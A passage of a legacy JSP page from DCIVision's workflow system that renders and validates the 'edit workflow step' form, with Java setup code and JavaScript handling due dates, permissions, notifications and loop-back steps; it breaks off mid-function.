<%
/**
 *
 * @(#)EditWorkflowStep.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with documentInfoDCIVision Ltd.
 */
/**
  EditWorkflowStep.jsp
  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    05/08/2003
    @version          $Revision: 1.270.2.32 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.WorkflowStep"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowStepForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowStepForm"/>

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/WorkflowAjaxProcessor.js'> </script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/util.js'></script>
<style>
  .popUpContainer .tabContainer .tabContent{
    width:860px;
    height:490px !important;
    padding-top:27px;
    overflow-x:hidden;
    position:relative;
  }
  .popUpContainer .tabContainer .tabContent .altBar{
    width:880px;
  } 
  .notifyTitle{
    width:150px;
  }
  .notifyUser{
    width:150px;
  }
  .notifyType{
    width:120px;
  }
  .notifyEmail{
    width:55px;
    text-align:center;
  }
  .notifySystem{
    width:60px;
    text-align:center;
  }
  .notifyLast{
    width:90px;
  }
  #bindTab{
    overflow:hidden;
  }
</style>
<%
try {
  List workingCalList = (List)request.getAttribute("WORKING_CALENDAR_LIST");
  String[][] CALENDAR_NAME_MAP = new String[workingCalList.size()+1][2];

  CALENDAR_NAME_MAP[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
  CALENDAR_NAME_MAP[0][1] = "";

  for (int i=0; i<workingCalList.size(); i++) {
    WorkingCalendar workingCal = (WorkingCalendar)workingCalList.get(i);
    CALENDAR_NAME_MAP[i+1][0] = workingCal.getWorkingCalendarName();
    CALENDAR_NAME_MAP[i+1][1] = workingCal.getID().toString();
  }

  if(Utility.isEmpty(maintWorkflowStepForm.getActionType())){
    maintWorkflowStepForm.setActionType(WorkflowStep.ACTION_TYPE_TASK_TO_DO);
  }
  String stepActionType=maintWorkflowStepForm.getActionType();
  String sNavMode=((AbstractActionForm)maintWorkflowStepForm).getNavMode();

  Integer STAFF_HIERARCHY_LEVEL = SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.STAFF_HIERARCHY_LEVEL);

  String[][]  FILTER_BY_MAP = new String[2+STAFF_HIERARCHY_LEVEL.intValue()][2];

  String  operationType=request.getParameter("operationType");
  String  sCurrentStepID=request.getParameter("currentWorkflowStepID");
  
  if(Utility.isEmpty(sCurrentStepID)){
    sCurrentStepID = maintWorkflowStepForm.getCurrentStepID();
  }
  //TC.ADD START-----------------------------------------------------------------------
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  WorkflowStepDAObject workflowStepDao = new WorkflowStepDAObject(sessionContainer,conn);
  WorkflowStep currentStep = null;
  
  if(!Utility.isEmpty(sCurrentStepID)){  
   currentStep = (WorkflowStep)workflowStepDao.getObjectByID(Integer.valueOf(sCurrentStepID));
  }else if(!Utility.isEmpty(maintWorkflowStepForm.getID())){
   currentStep = (WorkflowStep)workflowStepDao.getObjectByID(Integer.valueOf(maintWorkflowStepForm.getID()));
  }
  
  //TC.ADD END-------------------------------------------------------------------------

  FILTER_BY_MAP[0][0] = "setup.label.subject_type_G";
  FILTER_BY_MAP[0][1] = "-1";
  FILTER_BY_MAP[1][0] = "setup.label.subject_type_R";
  FILTER_BY_MAP[1][1] = "-2";
  for (int i=2; i< STAFF_HIERARCHY_LEVEL.intValue()+2; i++){
    FILTER_BY_MAP[i][0] = "staff.label.hierarchy_level_"+String.valueOf(i-1);
    FILTER_BY_MAP[i][1] = String.valueOf(i-1);
  }

  if(Utility.isEmpty(maintWorkflowStepForm.getParentStepIDs())){
    maintWorkflowStepForm.setParentStepIDs(new String[]{maintWorkflowStepForm.getParentType()+"-"+maintWorkflowStepForm.getParentStepID()});
  }

  String[][] ACTOR_TYPE_MAP = (String[][])request.getAttribute("ACTOR_TYPE_MAP");

  int categoryID = 0;
  Integer workflowRecordID = new Integer(0);
  boolean bTextOnly = false;
  if (!Utility.isEmpty(request.getParameter("categoryID"))) {
    categoryID = Integer.parseInt(request.getParameter("categoryID"));
  } else if (!Utility.isEmpty(maintWorkflowStepForm.getCategoryID())) {
    categoryID = Integer.parseInt(maintWorkflowStepForm.getCategoryID());
  }

  if (!Utility.isEmpty(request.getParameter("workflowRecordID"))) {
    workflowRecordID = new Integer(Integer.parseInt(request.getParameter("workflowRecordID")));
  } else {
    workflowRecordID = new Integer(0);
  }

  boolean bStepOwnerRequired = true;
  bStepOwnerRequired = !(SystemWorkflowConstant.SUB_WORKFLOW_INTERRUPT.equals(String.valueOf(categoryID)) && WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) );   
  %>






<!-- Dynamic Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/WorkflowFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OldTree.jsp" charset="UTF-8" type="text/javascript"></script>
<!-- Dynamic Javascript End -->




<% long startTime = System.currentTimeMillis(); %>

<script language="Javascript">
<!--
function showDelayText()
{
document.getElementById("autoTaskDelayLable").style.display="";
document.getElementById("autoTaskDelayText").style.display="";
//return true;
}
function hideDelayText()
{
document.getElementById("autoTaskDelayLable").style.display="none";
document.getElementById("autoTaskDelayText").style.display="none";
//return true;
}
function selectList(listName) {
  var obj = eval("document.maintWorkflowStepForm."+listName);
  if (!obj){
  } else if (obj.value) {
    obj.checked = true;
  } else {
    for (var i=0; i<obj.length; i++) {
      obj[i].checked = true;
    }
  }
  return false;
}
function unselectList(listName) {
  var obj = eval("document.maintWorkflowStepForm."+listName);
  if (!obj){
  } else if (obj.value) {
    obj.checked = false;
  } else {
    for (var i=0; i<obj.length; i++) {
      obj[i].checked = false;
    }
  }
  return false;
}
function disableSelectList(listName, isDisable) {
  var obj = eval("document.maintWorkflowStepForm."+listName);
  if (!obj){
  } else if (obj.value) {
    obj.checked = false;
    obj.disabled = isDisable;
  } else {
    for (var i=0; i<obj.length; i++) {
      obj[i].checked = false;
      obj[i].disabled = isDisable;
    }
  }
  return false;
}


function disableNoResponseStep(frm) {
  <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) &&
        !WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType()) ) {%>
  if (frm.onNoResponseAction.options[frm.onNoResponseAction.selectedIndex].value == "O") {
    frm.onNoResponseNextStepID.disabled = false;
  } else  {
    if(frm.onNoResponseNextStepID){
      frm.onNoResponseNextStepID.selectedIndex = 0;
      frm.onNoResponseNextStepID.disabled = true;
    }
  }
  <%}%>
}


function disableAllNewStepInfo(frm, bDisable) {
  frm.stepSeq.disabled = bDisable;
  frm.stepName.disabled = bDisable;
  frm.description.disabled = bDisable;
  if (frm.actionType) {
    frm.actionType.disabled = bDisable;
  }

   //added by nancy
   //update by dick
  if (frm.protectedStep) {
    frm.protectedStep[0].disabled = bDisable;
    frm.protectedStep[1].disabled = bDisable;
  }
   //end

  var parentStepIDs = frm.parentStepIDs;
  if (parentStepIDs.value) {
    parentStepIDs.disabled = bDisable;
  } else {
    for (var i=0; i<parentStepIDs.length; i++) {
      parentStepIDs[i].disabled = bDisable;
    }
  }
  frm.workflowRule.disabled = bDisable;

  <% if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL)) { %>
    frm.notifyOwnerTaskArrivalByMail.disabled = bDisable;
    frm.notifyAllTaskCompletedByMail.disabled = bDisable;
    frm.notifyOwnerTaskOverdueByMail.disabled = bDisable;
    frm.notifyAllTaskOverdueByMail.disabled = bDisable;
  <% } %>
  frm.notifyOwnerTaskArrivalBySystem.disabled = bDisable;
  frm.notifyAllTaskCompletedBySystem.disabled = bDisable;
  frm.notifyOwnerTaskOverdueBySystem.disabled = bDisable;
  frm.notifyAllTaskOverdueBySystem.disabled = bDisable;

  toggleAutomaticTaskFields(frm, bDisable);
}

function toggleDueDatePannel(frm,field){
  var pannel = document.getElementById("duedatePannel");
  if(field.checked==true){
    pannel.style.display="block";
  }else{
    if(frm.overDueType[0].checked==true){
      pannel.style.display="none";
    }else{
      field.checked=true;
    }
  }
}

function toggleAutomaticTaskFields(frm, bDisable) {
    frm.assignActorType.disabled = bDisable;

    //dis/en workflow rule
    if (frm.overDueType && frm.overDueType.length) {
      frm.overDueType[0].disabled = bDisable;
      frm.overDueType[1].disabled = bDisable;
      frm.overDueType[3].disabled = bDisable;
      <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) ) {%>
      frm.overDueType[2].disabled = bDisable;
      <%}%>
    }

    frm.onNoResponseAction.disabled = bDisable;
    disableNoResponseStep(frm);
    if(frm.priority && frm.priority.length){
      frm.priority[0].disabled = bDisable;
      frm.priority[1].disabled = bDisable;
      frm.priority[2].disabled = bDisable;
    }
    frm.onNoResponseFor.disabled = bDisable;
    if(frm.filterBy){
      frm.filterBy.disabled = bDisable;
    }
}

var isFirst=false;
function toggleNoResponseAction(frm) {
<%if(WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(maintWorkflowStepForm.getAllowAssignDueDate()) ){%>
    if(!isFirst){
      frm.overDueType[3].checked = true;
      frm.dynamicAssignDueDateMandtory.checked = true;
      frm.dynamicAssignDueDateMandtory.disabled = false;
      frm.overDueType[0].checked = false;
      frm.overDueType[1].checked = false;
      frm.onNoResponseFor.value="";
      frm.onNoResponseFor.disabled=true;
      frm.overDueType[2].checked = false;
      isFirst=true;
    }
<%}%>
<%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) &&
      !WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType()) ) {%>
  if (!(frm.overDueType[1].checked || frm.overDueType[2].checked || frm.overDueType[3].checked)) {
<%} else {%>
  if (true) {
<%}%>
    frm.onNoResponseAction.disabled = true;
    frm.onNoResponseNextStepID.disabled = true;
    <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) ) {%>
      frm.onNoResponseAction.selectedIndex = 0;
      frm.onNoResponseNextStepID.selectedIndex = 0;
    <%}%>
  } else {
    frm.onNoResponseAction.disabled = false;
  }
<%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) &&
      !WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType())) {%>
  // Type of dynamic assign.
  if(frm.overDueType[3].checked){
    frm.overDueType[0].checked = false;
    frm.overDueType[1].checked = false;
    frm.onNoResponseFor.value="";
    frm.onNoResponseFor.disabled=true;
    frm.overDueType[2].checked = false;
    frm.onNoResponseAfter.value = "";
    frm.dummy_onNoResponseAfter.value="";
    frm.dummy_onNoResponseAfter.disabled = true;
    frm.hour_dummy_onNoResponseAfter.disabled = true;
    frm.min_dummy_onNoResponseAfter.disabled = true;
    frm.dynamicAssignDueDateMandtory.disabled = false;
    frm.onNoResponseAction.disabled = false;
    frm.onNoResponseNextStepID.disabled = true;
    if(frm.dynamicAssignDueDateMandtory.checked){
      frm.allowAssignDueDate.value="<%=WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY%>";
    } else {
      frm.allowAssignDueDate.value="<%=WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE%>";
    }
  } else {
    frm.overDueType[3].checked = false;
    frm.dynamicAssignDueDateMandtory.disabled = true;
    frm.dynamicAssignDueDateMandtory.checked = false;
    frm.allowAssignDueDate.value="<%=WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_FALSE%>";
    // None of due date.
    if (frm.overDueType[0].checked) {
      frm.overDueType[1].checked = false;
      frm.onNoResponseFor.value="";
      frm.onNoResponseFor.disabled=true;
      frm.overDueType[2].checked = false;
      frm.onNoResponseAfter.value="";
      //frm.onNoResponseAfter.disabled = true;
	  frm.dummy_onNoResponseAfter.value="";
      frm.dummy_onNoResponseAfter.disabled = true;
      frm.hour_dummy_onNoResponseAfter.disabled = true;
      frm.min_dummy_onNoResponseAfter.disabled = true;
    }
    // Type of some days after task arrival.
    if (frm.overDueType[1].checked) {
      frm.overDueType[0].checked = false;
      frm.overDueType[2].checked = false;
      frm.onNoResponseAfter.value="";
      //frm.onNoResponseAfter.disabled = true;
      frm.dummy_onNoResponseAfter.value="";
      frm.dummy_onNoResponseAfter.disabled = true;
      frm.hour_dummy_onNoResponseAfter.disabled = true;
      frm.min_dummy_onNoResponseAfter.disabled = true;
      frm.onNoResponseFor.disabled = false;
    }
    // Type of specified date.
    if (frm.overDueType[2].checked) {
      frm.overDueType[0].checked = false;
      frm.overDueType[1].checked = false;
      frm.onNoResponseFor.value="";
      frm.onNoResponseFor.disabled=true;
      <%--
      The method of this block in is execute every time as the page init, the exists value will be
      lost if this commented block is effective.
      frm.onNoResponseAfter.value="";
      --%>
      //frm.onNoResponseAfter.disabled = false;
      frm.dummy_onNoResponseAfter.disabled = false;
      frm.hour_dummy_onNoResponseAfter.disabled = false;
      frm.min_dummy_onNoResponseAfter.disabled = false;
    }
  }
<%}%>
  disableNoResponseStep(frm);
}

function isTransformStepType(frm){//simon
		if (!frm) {
	    for (var i = 0; i < document.forms.length; i++) {
	      if (document.forms[i].name != "") {
	        frm = document.forms[i];
	      }
	    }
	  }
	  var vNavmode="<%=GlobalConstant.NAV_MODE_EDIT%>";
	  
	  if(vNavmode=="<%=sNavMode%>"){
			var stepActionType_TODO="<%=WorkflowStep.ACTION_TYPE_TASK_TO_DO%>";
			var stepActionType_APPROVAL="<%=WorkflowStep.ACTION_TYPE_APPROVAL%>";
			var stepActionType_BOOLEAN="<%=WorkflowStep.ACTION_TYPE_BOOLEAN%>";
			if(frm.stepActionType.value!=stepActionType_TODO && frm.stepActionType.value!=stepActionType_APPROVAL 
			&& frm.stepActionType.value!=stepActionType_BOOLEAN){
					alert("<bean:message key='workflow.message.after_step_type_not_transform'/>");
					frm.actionType.value=frm.stepActionType.value;
					return false;
			}	else if(frm.stepActionType.value==stepActionType_TODO &&
			(frm.actionType.value!=stepActionType_APPROVAL && frm.actionType.value!=stepActionType_BOOLEAN)){
					alert("<bean:message key='workflow.message.after_step_type_not_transform'/>");
					frm.actionType.value=frm.stepActionType.value;
					return false;
			}else if(frm.stepActionType.value==stepActionType_APPROVAL &&
			(frm.actionType.value!=stepActionType_TODO && frm.actionType.value!=stepActionType_BOOLEAN)){
					alert("<bean:message key='workflow.message.after_step_type_not_transform'/>");
					frm.actionType.value=frm.stepActionType.value;
					return false;
			}else if(frm.stepActionType.value==stepActionType_BOOLEAN &&
			(frm.actionType.value!=stepActionType_TODO && frm.actionType.value!=stepActionType_APPROVAL)){
					alert("<bean:message key='workflow.message.after_step_type_not_transform'/>");
					frm.actionType.value=frm.stepActionType.value;
					return false;
			}
		}
		getRefreshForm(frm);
}

function getRefreshForm(frm) {
  if (!frm) {
    for (var index = 0; index < document.forms.length; index++) {
      if (document.forms[index].name != "") {
        frm = document.forms[index];
      }
    }
  }
 //bill add for EIP-1302 start
 var flag=false;
 var everyOne="<bean:message key='workflow.label.everyone'/>";
 if (frm.actionType.value.indexOf("<%=WorkflowStep.ACTION_TYPE_SYSTEM_AUTO%>") == 0) {
  	flag=true;
  }
  //============= For Hold The Permission Begin =================
  var result = "";
  <%if (!WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType())) {%>
  for (var allPermissionIndex = 0; allPermissionIndex < allPermissionAry.length; allPermissionIndex++) {
    for (var allPermissionAryIndex = 0; allPermissionAryIndex < allPermissionAry[allPermissionIndex].length; allPermissionAryIndex++) {
      if(flag&&allPermissionAry[allPermissionIndex][1]==everyOne){
    	  break;
    	}
      if (allPermissionAryIndex == allPermissionAry[allPermissionIndex].length - 1) {
        result += allPermissionAry[allPermissionIndex][allPermissionAryIndex] + "\n";
      } else {
        result += allPermissionAry[allPermissionIndex][allPermissionAryIndex] + "\t";
      }
    }
  }
  //bill add for EIP-1302 end 
<%}%>

  //if (frm.allPermissionDate) {//falcon.wang_delete
  if (frm.allPermissionData) {//falcon.wang_add
    frm.allPermissionData.value = result;
  }
  //===========  For Hold The Permission End   ===================

  frm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  frm.submit();
  return false;
}

function checkCanLoopBack(ele){
   <%if(!Utility.isEmpty(sCurrentStepID)){%>
      var currentStepID = ele.options[ele.selectedIndex].value;
      WorkflowAjaxProcessor.checkIfCanLoopBackCurrentStep(<%=sCurrentStepID%>,currentStepID,<%=maintWorkflowStepForm.getParentStepID()%>,
	  function(data){
        if(data=="Y"){
		  getRefreshForm();
		}else{
          ele.selectedIndex=0;
		  alert("<bean:message key='errors.workflow.step_cannot_loopback_to'/>");
		}
      } 
      );
   <%}%>
}
function isInt(){
	var frm;
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
	var vIntValue=frm.onNoResponseFor.value;
	var validChars = "0123456789";
	var vchar;
	var isInt=-1;
	for(var i=0;i<vIntValue.length;i++){
		vchar=vIntValue.substring(i,i+1);
		isInt=validChars.indexOf(vchar);
		if(isInt==-1){
			return false;
		}else	if(i==0 && vchar==0 && vIntValue.length>1){
			return false;
		}
	}
	
	if (vIntValue > <%=Integer.MAX_VALUE%>) {
		frm.onNoResponseFor.value = <%=Integer.MAX_VALUE%>;
	}
	
	return true;
}

function strlen(str){
	var i;
	var len;
	len = 0;
	for (i=0;i<str.length;i++){
		if (str.charCodeAt(i)>255) len+=2; else len++;
	}
	return len;
}

// Check the protected fields.
// Make sure at least one of protected mode have been chose if current is a protected step,
// otherwise return false.
function checkProtectedField() {
  
  var protectedSteps = document.getElementsByName('protectedStep');
  // Jump out to break this checked if field(protectedStep) does not exist.
  if (!protectedSteps) return true;
	var checkedProtectedStepValue = '<%=GlobalConstant.FALSE%>';
	// Get the radio 'protectedStep' checked value.
	for (var i = 0; i < protectedSteps.length; i++) {
	  if (protectedSteps[i].checked) {
	     checkedProtectedStepValue = protectedSteps[i].value;
	  }
	}
	// Check if current is a protected step;
	var isProtectedStep = (checkedProtectedStepValue == '<%=GlobalConstant.TRUE%>' ? true : false);
	// Jump out this method while current is not a protected step;
	if (!isProtectedStep) return true;
	
	// Continue check the protected mode field.
	var protectedNavModeEditField = document.getElementById('protectedNavModeEdit');
	var protectedNavModeViewField = document.getElementById('protectedNavModeView');
	// Jump out this method while one of protected mode have been chose,
	// otherwise, show some warning message.
	if ((protectedNavModeEditField.checked) || (protectedNavModeViewField.checked)) {
		return true;
	}
	else {
		alert("<bean:message key='workflow.message.protected_mode_required'/>");
		showTab("tab1","basicTab","");
	}
	return false;
}

function OpCusSave() {

  var frm;
  var result;
  var hasSelected;
  var hasExePermission = "N";
	var frm = document.maintFormGroupForm;
	showTab("tab1","basicTab","");
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  
  // Check protected fields.
  if (!checkProtectedField()) {
     return false;
  }
  
  // check current Form options is required!!
  if (frm.stepName.value=="" || frm.stepSeq.value=="" || frm.actionType.value=="") {
    showTab("tab1","basicTab","");
  }
  
  // check step name length
  if(strlen(frm.stepName.value)>60){  
  	alert("<bean:message key='workflow.step_name_length' arg0='60'/>");
  	showTab("tab1","basicTab","");
  	frm.stepName.focus();
  	return false;
  }
  
  // check description length
  if(strlen(frm.description.value)>255){  
  	alert("<bean:message key='workflow.setup.description_length' arg0='255'/>");
  	showTab("tab1","basicTab","");
  	frm.description.focus();
  	return false;
  }

  var result = "";
  <%if (!WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType()) &&  (!SystemWorkflowConstant.SUB_WORKFLOW_INTERRUPT.equals(maintWorkflowStepForm.getCategoryID()) || !WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType())) ) {%>

  for (var i = 0; i < allPermissionAry.length; i++) {
    for (var j = 0; j < allPermissionAry[i].length; j++) {
      if (j == allPermissionAry[i].length - 1) {
        result += allPermissionAry[i][j] + "\n";
      } else {
        result += allPermissionAry[i][j] + "\t";
      }
    }
    if (allPermissionAry[i][3].indexOf("W") >= 0 && hasExePermission!="Y") {
      hasExePermission="Y";
    }
   <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) ) {%>
  if( document.maintWorkflowStepForm.loopBackStepID && document.maintWorkflowStepForm.loopBackStepID.value!=""){
    hasExePermission="Y";
  }
  <%
   }
  %>

  }



<%
   }%>

  if (frm.assignActorType) {
    if (frm.assignActorType.checked) {
       hasExePermission="Y";
     }
    }

if (frm.allPermissionData) {
  frm.allPermissionData.value = result;
 }
  <%//if (WorkflowStep.OPERATION_TYPE_INSERT_BETWEEN.equals(operationType)) {%>
      if(frm.parentStepIDs){
      parentStepIDs=frm.parentStepIDs;
      var parentStepCheck=0;
      if (parentStepIDs.value) {
         if(parentStepIDs.checked){
             parentStepCheck=1;
         }
        } else {
        for (var i=0; i<parentStepIDs.length; i++) {
            if(parentStepIDs[i].checked){
                parentStepCheck=1;
                //break;
            }

        }
      }
      if(parentStepCheck == 0){
      alert('<bean:message key='workflow.message.after_step_required'/>');
      return false;
      }
      <%if(!WorkflowStep.ACTION_TYPE_END.equals(request.getParameter("currentStepActionType"))){%>
      if(frm.currentStepIDs){
        currentStepIDs=frm.currentStepIDs;
        var currentStepCheck=0;
        if (currentStepIDs.value) {
          if(currentStepIDs.checked){
            currentStepCheck=1;
          }
        } else {
          for (var i=0; i<currentStepIDs.length; i++) {
            if(currentStepIDs[i].checked){
                currentStepCheck=1;
                //break;
            }
          }
        }
        if(currentStepCheck == 0){
          alert('<bean:message key='workflow.message.before_step_required'/>');
          return false;
        }
      }
     <%}%>
      }
  <%//}%>
  // check the route name
  <%if ( WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(maintWorkflowStepForm.getActionType()) ) {%>
    if(frm.routeListValue.value == ""){
      alert('<bean:message key='workflow.message.not_defined_route_name'/>');
      showTab("tab1","basicTab","");
      return false;
    }

  <%}%>
  //added by nancy
  // check the auto task
  <% if (WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(maintWorkflowStepForm.getActionType().substring(0,1))&&
  !Utility.isEmpty(maintWorkflowStepForm.getParameterListValue())) {%>
  var array=frm.parameterListValue.value.split("|");
    for ( var i=array.length-2; i>-1; i--){
  if(array[i].split(":")[1].replace(/^\s+|\s+$/g,'') ==""){
    alert('<bean:message key='workflow.message.not_defined_parameter_values'/>');
  return false;
  }
    }
<%}%>
//end
  // check the form equation
  <%if ( WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType()) ) {%>
    if(frm.formEquationListValue.value == ""){
      alert('<bean:message key='workflow.message.not_defined_form_equation'/>');
      return false;
    }

  <%}%>
  // check Due Date//simon
<%if ((!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType())) && (!WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType()))) {%>
  if(!isInt()){
  	alert("<bean:message key='errors.workflow.operator_numeric_value'/>");
  	frm.onNoResponseFor.value="";
    frm.onNoResponseFor.focus();
    return(false);
  }
<%}%>
  if (frm.overDueType[1] && frm.overDueType[1].checked) {
  	if (frm.onNoResponseFor.value == "") {
  		alert("<bean:message key='workflow.message.due_date_date_is_not_empty'/>");
    	return false;
  	}
  	if (frm.onNoResponseFor.value < 0) {
    alert('<bean:message key='workflow.message.due_date_must_be_greater_than_zero'/>');
    frm.onNoResponseFor.value="";
    return false;
    }
  }
  if(frm.overDueType[2] && frm.overDueType[2].checked){
  	if (frm.onNoResponseAfter.value==""&&(!(frm.actionType.value.indexOf("<%=WorkflowStep.ACTION_TYPE_SYSTEM_AUTO%>") == 0))) {
    	alert("<bean:message key='workflow.message.due_date_date_is_not_empty'/>");
      return false;
    }
    if (compareDate(frm.today,frm.onNoResponseAfter, false) > 0&&(!(frm.actionType.value.indexOf("<%=WorkflowStep.ACTION_TYPE_SYSTEM_AUTO%>") == 0))) {
      alert("<bean:message key='workflow.message.due_date_later_than_current_time'/>");
      showTab("tab1","miscTab","");
      return false;
    }
  }
  // loop back step handle
  if (frm.insertStepType.type!="hidden" && frm.insertStepType[0].checked) {
   if (frm.loopBackStepID.selectedIndex <= 0) {
      alert('<bean:message key='workflow.message.no_loopback_step_selected'/>');
     // showTab("miscTab");
      return false;
    }

    // not need to validate form
    if (frm.elements['ID'].value == "") {
      if (frm.elements['navMode'].value == NAV_MODE_CHANGE) {
        result = (OpCopy(frm));
      } else {
        result = (OpInsert(frm));
      }
    } else {
      result = (OpUpdate(frm));
    }
  // add link to end step
  } else if (frm.insertStepType.length>2 && frm.insertStepType[1].checked) {
    if (frm.elements['ID'].value == "") {
      result = (OpInsert(frm));
    } else {
      result = (OpUpdate(frm));
    }
  // add new workflow step
  } else {

    var userRecordsChoosen=false, userGroupsChoosen=false, userRolesChoosen=false;
    var autoTask=false;
    var specialActorType = false;
    autoTask = (frm.actionType.selectedIndex > 3);

    <%if ( WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType()) ) {%>
    autoTask = true;
    <%}%>
    //* if any of the user actor has been selected
  <%
  if(!WorkflowStep.ACTION_TYPE_END.equals(maintWorkflowStepForm.getActionType()) &&
     !WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(maintWorkflowStepForm.getActionType()) 
      &&  (!SystemWorkflowConstant.SUB_WORKFLOW_INTERRUPT.equals(maintWorkflowStepForm.getCategoryID()) || !WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()))) {
  %>
  /**********bill disable for EIP-1355********
  //bill add for EIP-1303 start
  var isPermissionNull=true;
  if (frm.allPermissionData.value==""){
    isPermissionNull= false;
  }
  ********************************************/
  //bill add for EIP-1303 end
   // check owner have execute permission
  //bill add for EIP-1355
  if ("Y"!=hasExePermission &&(!frm.actionType.value.indexOf("<%=WorkflowStep.ACTION_TYPE_SYSTEM_AUTO%>")==0)){
    alert("<bean:message key='workflow.message.no_owner_have_execute_permission'/>");
    showTab("tab1",'permissionTab',"");
    return false;
  }
  <%}%>

   <%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) ) {%>
    rule = parseInt(frm.workflowRule.value);
    //* check workflow rule
    if (frm.workflowRule.value!="*" && (isNaN(rule)|| frm.workflowRule.value.indexOf(".") >=0 || rule<=0)) {
      <%
        //String ruleField = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.workflow_rule");
        String ruleMessage = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.rule_must_be_number");
      %>
      alert("<%=ruleMessage%>");
      return false;
    }
    <%}%>
    
    if ((frm.actionType.value.indexOf("<%=WorkflowStep.ACTION_TYPE_SYSTEM_AUTO%>") == 0) && (!checkAutoTaskOwner(frm))) {
      //bill add for EIP-1356 start 
      <%String userMessage = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.workflow.autotask_one_user_assigned"); %>
	  alert('<%=userMessage%>');
	  showTab("tab1",'permissionTab',"");
	  //bill add for EIP-1356 end
	  return false;
	}
	//get Notification
	<%if (!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowStepForm.getActionType()) ) {%>
	  getGeneralNotification();
	<%}%>
	
    result = OpSave(frm);
  }

	checkRule();

  return result;

}

function checkAutoTaskOwner(frm){
	if (!frm.allPermissionData){
		return false;
	}
	//bill add for EIP-1170 start
	var arrayOfStr=frm.allPermissionData.value.split("\n");  
    var group='<%=GlobalConstant.SUBJECT_TYPE_GROUP%>';   //user group 
    var role='<%=GlobalConstant.SUBJECT_TYPE_ROLE%>';    //user role
    var user='<%=GlobalConstant.SUBJECT_TYPE_USER%>';     //user account 
    var specialActor='<%=GlobalConstant.SUBJECT_TYPE_OTHER%>';   //special actor
	  var allPermissionAry = new Array();
	  //Initialize a arrary with permission data 
